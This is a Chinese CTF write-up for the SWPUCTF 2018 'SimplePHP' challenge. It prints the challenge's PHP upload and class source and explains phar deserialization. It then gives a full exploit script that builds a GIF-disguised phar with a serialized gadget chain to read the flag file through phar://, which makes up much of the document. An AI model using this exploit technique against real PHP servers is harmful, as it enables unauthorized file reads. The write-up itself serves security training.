[SWPUCTF 2018]SimplePHP

利用查看文件页面进行文件读取,找到关键源码:

function.php

php 复制代码
<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

文件后缀白名单过滤,文件上传地址"upload/" .md5(_FILES\["file"\]\["name"\]._SERVER["REMOTE_ADDR"]).".jpg"

class.php

php 复制代码
 <?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?> 

源码中提示了使用phar协议。

phar 文件的概念及结构

概念:phar(PHP Archive)是 PHP 里类似于 Java 中 jar 的一种打包文件,它可以把多个 PHP 文件存放至同一个文件中,无需解压,PHP 就可以进行访问并执行内部语句。

结构:phar 文件由四部分组成。一是 stub,即文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则 phar 扩展将无法识别这个文件为 phar 文件。二是 manifest,用于存储压缩文件属性等信息,以序列化形式存储,这也是反序列化攻击的关键部分。三是 contents,即被压缩文件的内容。四是 signature,为签名,放在文件末尾,用于验证 Phar 文件的完整性,是可选部分。
phar 伪协议的用途

访问归档文件中的文件:通过指定 phar 文件的路径来访问其中包含的文件,例如,phar://path/to/archive.phar/file.txt可以访问归档文件archive.phar中的file.txt。

读取归档文件中的内容:可以像读取普通文件一样使用file_get_contents()或fopen()等函数来读取 phar 归档文件中的内容。

执行归档文件中的代码:使用include或require等 PHP 包含文件的函数来执行 phar 归档文件中的 PHP 代码,这也是利用 phar:// 协议进行文件上传漏洞攻击的关键。
phar 伪协议的安全风险

当服务器端应用程序接受用户上传的文件并未进行充分验证时,攻击者可能会利用 phar 伪协议进行攻击。攻击者可以构造恶意的 phar 文件,在其中包含 PHP 代码,然后将文件名伪装成其他类型的文件扩展名,例如image.png*(依赖文件内容中的特定标识而不是后缀名来识别phar文件)*。一旦服务器端应用程序接受并存储了这个文件,攻击者可以通过请求绕过文件类型验证,然后再通过 phar:// 协议来访问该文件,导致 PHP 解析并执行该文件中嵌入的恶意代码,从而使攻击者能够在服务器上执行任意的操作或获取敏感信息。

这里虽然没有include或者require执行代码,但是存在魔术方法,在解析phar数据并进行反序列化时会自动执行。

因此我们只需要构造出反序列化语句,再打包放入phar文件的manifest中,修改后缀名绕过过滤。

利用C1e4r的__destruct()中echo this-\>test 唤醒 Show的__tostring()中的this->str['str']->source 唤醒Test中的__get()读取flag.php。

php 复制代码
$a = new C1e4r;
$b = new Show;
$c = new Test;
$a->str = $b;
$b->str['str'] = $c;
$c->params['source'] = '/var/www/html/f1ag.php';
echo serialize($a);

然后是将其放入phar文件中

php 复制代码
// 创建一个名为 phar.phar 的 Phar 归档文件对象
$phar = new Phar("phar.phar"); 

// 开始缓冲操作(所有修改先暂存,不立即写入文件)
$phar->startBuffering();

// 设置 Phar 文件的"伪装头"和执行标记
// "GIF89a"是 GIF 图片的文件头,用于让文件被识别为图片(绕过文件类型检测)
// "<?php __HALT_COMPILER(); ?>"是 Phar 必须的执行标记,告诉 PHP 这是可解析的 Phar 包
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); 

// 向 Phar 包添加"隐藏的元数据"(核心数据)
// $a 是一个变量,其内容会被序列化后存储(读取时会自动反序列化)
// 元数据不显示为文件,需通过专门方法读取,常用于存储描述信息或(在特殊场景中)恶意代码
$phar->setMetadata($a);  

// 向 Phar 包添加一个"实体文件"(结构必需)
// 文件名是 exp.txt,内容是 test(仅作为占位符,让 Phar 格式有效)
// 这个文件是 Phar 包的"可见内容",类似 ZIP 里的文件,用于维持归档的基本结构
$phar->addFromString("exp.txt", "test"); 

// 结束缓冲,将所有修改(元数据、实体文件、伪装头)写入到 phar.phar 文件中
$phar->stopBuffering();

payload:

php 复制代码
<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}

$a = new C1e4r;
$b = new Show;
$c = new Test;
$a->str = $b;
$b->str['str'] = $c;
$c->params['source'] = '/var/www/html/f1ag.php';

$phar = new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($a);  
$phar->addFromString("exp.txt", "test"); 
$phar->stopBuffering();

?> 

再修改后缀名并上传.

用源码中的方式生成文件位置应该是upload/md5('phar.jpg222.90.67.205').jpg

upload/296091de1a585b89c3c237bad67ee2fc.jpg

但是实际位置并不是这个。访问/upload可以看到文件位置:

![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/e7764f008afa430d910bbe6847f7d07d.png =400)

利用phar:// 访问该文件即可得到flag。

总结

利用文件读取获得源码,关键在于用phar反序列化结合文件上传读取flag。

相关推荐
茫忙然20 小时前
【WEB】[BUUCTF] <GXYCTF2019禁止套娃>《php函数的运用》
php·web·rce
Chen--Xing1 天前
宁波市第八届网络安全大赛 -- Crypto -- WriteUp
ctf·crypto·宁波市第八届网络安全大赛
带刺的坐椅1 天前
Solon 权限认证之 Sa-Token 的使用与详解
java·sa-token·web·solon
OEC小胖胖1 天前
构建单页应用:React Router v6 核心概念与实战
前端·react.js·前端框架·web
clover_pro1 天前
扩展中国剩余定理脚本(恢复密文c)
学习·ctf
ZZHow10241 天前
React前端开发_Day12_极客园移动端项目
前端·笔记·react.js·前端框架·web
uwvwko2 天前
buuctf——web刷题第5页
前端·python·php·web·ctf·buuctf
OEC小胖胖2 天前
掌握表单:React中的受控组件与表单处理
前端·javascript·react.js·前端框架·react·web
Bruce_Liuxiaowei3 天前
网络端口与服务对应表 - 白帽子安全参考指南
网络·windows·安全·web安全·ctf